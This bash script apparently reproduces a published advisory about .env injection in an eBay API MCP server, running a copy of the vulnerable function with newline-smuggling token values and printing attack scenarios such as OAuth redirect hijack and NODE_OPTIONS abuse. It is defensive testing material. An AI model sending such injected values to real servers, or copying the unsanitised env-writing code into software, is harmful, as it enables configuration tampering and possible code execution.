#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

echo "=== Environment Variable Injection Vulnerability Test ==="
echo "Testing GHSA-97rm-xj73-33jh: eBay API MCP Server .env injection"
echo ""

# Create test directory and files
TEST_DIR="$ROOT/test_env_injection"
mkdir -p "$TEST_DIR"
cd "$TEST_DIR"

# Create package.json for the test
cat > package.json << 'EOF'
{
  "name": "env-injection-test",
  "version": "1.0.0",
  "type": "module"
}
EOF

# Create a minimal reproduction of the vulnerable updateEnvFile function
cat > test_vulnerability.mjs << 'VULN_EOF'
import { existsSync, readFileSync, writeFileSync } from 'fs';
import { join } from 'path';

// VULNERABLE version of updateEnvFile (from ebay-mcp <= 1.7.2)
function updateEnvFileVulnerable(updates) {
  try {
    const envPath = join(process.cwd(), '.env');
    let envContent = existsSync(envPath) ? readFileSync(envPath, 'utf-8') : '';

    // Update each key-value pair
    for (const [key, value] of Object.entries(updates)) {
      // Match the key with or without value, handling comments
      const regex = new RegExp(`^(#\\s*)?${key}=.*$`, 'gm');
      const newLine = `${key}="${value}"`;

      if (regex.test(envContent)) {
        // Update existing key (uncomment if needed)
        envContent = envContent.replace(regex, newLine);
      } else {
        // Add new key at the end
        envContent += `\n${newLine}`;
      }
    }

    writeFileSync(envPath, envContent, 'utf-8');
  } catch (_error) {
    // Silent failure
  }
}

// Create initial .env file
const initialEnv = `EBAY_APP_ID=test_app
EBAY_CERT_ID=test_cert
EBAY_REDIRECT_URI=https://example.com/callback
`;
writeFileSync('.env', initialEnv);

console.log('=== Initial .env file ===');
console.log(readFileSync('.env', 'utf-8'));

// Malicious payload: inject newline to add arbitrary environment variable
// This simulates what would happen via ebay_set_user_tokens tool
const maliciousAccessToken = 'v1.MTIzNDU2Nzg5MA==\nATTACK_VAR=malicious_value_injected';
const maliciousRefreshToken = 'v1.AbCdEfGhIjKl\nSECOND_ATTACK=second_payload';

console.log('=== Injecting malicious tokens ===');
console.log('Access token contains:', JSON.stringify(maliciousAccessToken));
console.log('Refresh token contains:', JSON.stringify(maliciousRefreshToken));
console.log('');

// Call the vulnerable function
updateEnvFileVulnerable({
  EBAY_USER_ACCESS_TOKEN: maliciousAccessToken,
  EBAY_USER_REFRESH_TOKEN: maliciousRefreshToken
});

console.log('=== Resulting .env file after injection ===');
const finalEnv = readFileSync('.env', 'utf-8');
console.log(finalEnv);

// Parse the .env to verify injection worked
const lines = finalEnv.split('\n');
let injectionConfirmed = false;
let injectedVars = [];

for (const line of lines) {
  if (line.startsWith('ATTACK_VAR=') || line.startsWith('SECOND_ATTACK=')) {
    injectionConfirmed = true;
    injectedVars.push(line);
  }
}

console.log('=== Vulnerability Analysis ===');
if (injectionConfirmed) {
  console.log('❌ VULNERABILITY CONFIRMED: Environment variable injection successful!');
  console.log('Injected variables:');
  for (const v of injectedVars) {
    console.log('  - ' + v);
  }
  console.log('');
  console.log('Attack scenario:');
  console.log('- Attacker can overwrite EBAY_REDIRECT_URI to hijack OAuth flow');
  console.log('- Attacker can set NODE_OPTIONS for potential RCE');
  console.log('- Attacker can corrupt configuration causing DoS');
  process.exit(0);
} else {
  console.log('✓ Injection not successful - may be patched');
  process.exit(1);
}
VULN_EOF

# Run the test
echo "Running vulnerability test..."
node test_vulnerability.mjs | tee "$LOGS/reproduction_output.log"

exit_code=$?
echo ""
echo "Test completed with exit code: $exit_code"

# Cleanup
cd "$ROOT"
rm -rf "$TEST_DIR"

exit $exit_code
